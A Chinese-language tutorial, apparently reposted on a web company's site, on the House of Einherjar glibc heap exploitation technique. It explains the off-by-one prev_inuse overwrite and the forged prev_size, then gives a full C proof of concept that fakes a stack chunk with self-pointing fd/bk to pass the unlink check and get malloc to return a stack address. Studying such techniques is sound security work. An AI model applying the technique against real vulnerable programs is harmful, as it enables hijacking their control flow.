尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

House Of Einherjar

发布时间:2026/9/26 8:06:42

资讯中心
01
ARTICLE

House Of Einherjar

House Of Einherjar
House of Einherjar是一种非常经典且巧妙的堆溢出利用技术。只要你理解C语言中的指针并且知道程序是通过malloc分配内存、free释放内存的我们就完全可以把这个漏洞的原理盘清楚。简单来说这个技术的核心思想是利用一个微小的溢出通常只有一个字节欺骗内存管理器glibc让它跨越巨大的内存空间把一个我们伪造的“假内存块”和刚刚释放的真内存块合并在一起。这样我们就能把内存分配到程序的任何地方比如栈上。我们分步骤来拆解这个过程。1. 铺垫内存管理器的“合并”机制当我们在程序中连续分配两个内存块Chunk A 和 Chunk B时它们在内存中是挨着的。为了防止内存碎片化当你调用free(B)释放 Chunk B 时glibc内存管理器会非常聪明地往回看一眼“B 前面的 Chunk A 还在使用中吗如果 A 也被释放了我就把 A 和 B 合并成一个更大的空闲块。”glibc 是怎么知道 A 是否空闲以及 A 在哪里的呢这就依赖于 Chunk B 头部Header的两个关键数据P标志位 (prev_inuse)藏在 Chunk B 大小Size字段的最低位。如果 P1说明前面的 A 正在使用如果 P0说明前面的 A 已经空闲可以合并。prev_size记录前一个 Chunk 的大小。如果 glibc 决定要合并前面的块它就会用Chunk B 的地址 - prev_size从而准确找到 Chunk A 的开头位置。2. 破局点只要溢出一个字节 (Off-by-One)House of Einherjar 的威力在于它不需要你有多大的溢出能力只要能溢出一个字节通常是一个\x00空字节就足够了。假设我们正在向 Chunk A 写入数据由于程序有一个小 Bug我们多写了一个\x00字节。这个微小的溢出恰好覆盖到了紧挨着它的 Chunk B 的 Header。这一滴墨水引发了致命的连锁反应它覆盖了 Chunk B 的Size字段的最末尾一个字节把 P标志位 从 1 变成了 0。Chunk A 的数据部分其实是可以覆盖到 Chunk B 的prev_size字段的这是 glibc 为了节省内存设计的机制。此时在 glibc 的眼里世界变了它误以为 Chunk B 前面的某块内存是空闲的3. 瞒天过海伪造假区块 (Fake Chunk)既然 glibc 认为前面有空闲块那我们要做的就是给它“指一条明路”。我们在程序里找一个我们想写入数据的地方比如栈上或者 BSS 段在这个目标位置我们手工构造一个“假内存块” (Fake Chunk)。接着我们在 Chunk A 里做手脚修改 Chunk B 的prev_size我们把prev_size的值设置成Chunk B 所在的地址与我们伪造的 Fake Chunk 所在的地址之间的距离差值。4. 见证奇迹触发合并万事俱备现在我们在程序中触发free(B)。看看这个时候 glibc 会怎么做检查 Chunk B 的 P标志位。发现 P0被我们的溢出字节清零了。glibc 心想“前面的块是空闲的我要合并它”glibc 去找前面那个块的地址计算Chunk B 的地址 - prev_size。因为我们把prev_size设置成了那个巨大的距离计算结果精准地指向了我们在栈上伪造的 Fake Chunkglibc 完全没有怀疑它调用了一个叫unlink的操作把栈上的 Fake Chunk 和堆上的 Chunk B 强行跨界合并在了一起变成了一个超级大的空闲块。5. 摘取果实任意地址写入合并完成后这个包含了目标地址的“超级大内存块”就被放回了空闲池中。这时候我们只要再调用一次malloc申请一个合适大小的内存glibc 就会把刚才合并的那个内存块分配给我们。结果就是这次分配返回的指针指向了栈或者目标区域接下来无论我们往这个指针里写什么都等同于直接修改了栈上的关键数据比如覆盖函数的返回地址从而控制程序的执行流也就是我们常说的 Get Shell。简单总结它的流程踩点在目标位置如栈伪造一个 Fake Chunk。布局申请 Chunk A 和 Chunk B。篡改利用 Chunk A 的一字节溢出漏洞把 Chunk B 的 P标志位清零并把 B 的prev_size改成 B 到 Fake Chunk 的距离。引爆释放 Chunk B触发跨界合并。收割再次分配内存直接控制目标地址。安全防御的补充说明现代的 glibc 加入了unlink安全检查比如检查假块的fd和bk指针是否合法也就是p-fd-bk p和p-bk-fd p。因此在第一步伪造 Fake Chunk 时我们通常需要先泄漏一个地址把 Fake Chunk 的前后指针都指向自己或者指向一个已知可控的内存才能骗过这个安全检查。例子为了把这个精妙的过程具象化我们用一段 C 语言代码来模拟整个 House of Einherjar 的利用过程。在现代的 glibc 内存管理器中unlink宏有一个非常著名的安全检查被称为“双向链表完整性检查”// glibc 源码中的 unlink 检查 if (FD-bk ! P || BK-fd ! P) malloc_printerr (corrupted double-linked list);翻译过来就是“你的下一个块的 prev 指针和你的上一个块的 next 指针必须都指向你。”如果我们在栈上随便伪造一个假块Fake Chunk它的fd和bk指针如果是乱填的程序在触发合并时就会直接崩溃报错。最巧妙、最简单的绕过方法是让 Fake Chunk 的fd和bk指针都指向 Fake Chunk 自己。下面是完整的利用代码示例与拆解#include stdio.h #include stdlib.h #include stdint.h #include string.h int main() { // 【1. 布局】申请 Chunk A 和 Chunk B // A 申请 0x38 字节实际分配 0x40 字节 (其中最后 8 字节是被 B 复用的 prev_size) uint8_t *a malloc(0x38); // B 申请 0xf8 字节实际分配 0x100 字节 uint8_t *b malloc(0xf8); // 【2. 踩点】在栈上伪造 Fake Chunk uint64_t fake_chunk[10]; uint64_t fake_chunk_addr (uint64_t)fake_chunk; fake_chunk[0] 0; // prev_size (合并时用不到填0) fake_chunk[1] 0x60; // size (大小只要合理即可) // 核心绕过让 fd 和 bk 都指向自己 // 这样 FD-bk 就是自己-bk还是自己BK-fd 也是自己。完美绕过安全检查 fake_chunk[2] fake_chunk_addr; // fd fake_chunk[3] fake_chunk_addr; // bk // 【3. 计算偏移】计算 Chunk B 到 Fake Chunk 的距离 // chunk header 在用户指针前 0x10 字节处 uint64_t b_header_addr (uint64_t)b - 0x10; uint64_t offset b_header_addr - fake_chunk_addr; // 【4. 篡改】利用 Chunk A 的溢出漏洞 uint64_t *a_qword (uint64_t *)a; // 写入 Chunk B 的 prev_size利用了 A 数据的最后 8 字节 a_qword[6] offset; // 致命的 Off-by-One 单字节溢出 // A 的用户数据界限是 0x38往 a[0x38] 写一个字节 // 恰好覆盖了 Chunk B 的 size 字段的最低位把 P 标志位prev_inuse清零 // 比如把原本的 size 0x101 变成了 0x100 a[0x38] \x00; // 【5. 引爆】触发合并 // glibc 释放 B 时发现 P 标志位为 0以为前面的块空闲了。 // 它通过 b_header_addr - offset精准找到了栈上的 fake_chunk // 接着对 fake_chunk 执行 unlink因为 fd 和 bk 的巧妙设置成功通过检查。 free(b); // 【6. 收割】控制目标地址 // 此时栈上的 fake_chunk 已经被 glibc 吞进了 unsorted bin 空闲链表中。 // 我们再次申请内存glibc 就会把栈的地址分配给我们 uint8_t *target malloc(0x150); // 劫持成功我们现在可以直接往栈上写数据了比如覆盖函数的返回地址 strcpy((char *)target, You have successfully hijacked the stack!); printf(%s\n, target); return 0; }核心原理解读在这段代码中最魔幻的化学反应发生在第 4 步和第 5 步prev_size复用机制在 ptmalloc 中如果一个 Chunk 处于使用状态它的prev_size字段占 8 字节是无效的glibc 为了省内存会把这 8 个字节借给前一个 Chunk也就是 Chunk A当用户数据用。这就是为什么往a_qword[6]写入offset实际上就修改了 B 的prev_size。**fd 自己,bk 自己**当 glibc 对栈上的fake_chunk执行unlink摘除操作时它会取出FD fake_chunk-fd和BK fake_chunk-bk此时FD和BK都是fake_chunk的地址。当 glibc 检查FD-bk P时实际上就是在检查fake_chunk-bk fake_chunk这个等式永远成立。同理BK-fd也会通过检查。这个技术在早期的 CTF 比赛和真实漏洞利用中极其常见它将堆内存和栈或 BSS 段彻底打通完成了从“堆溢出”到“任意地址写”的质变。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。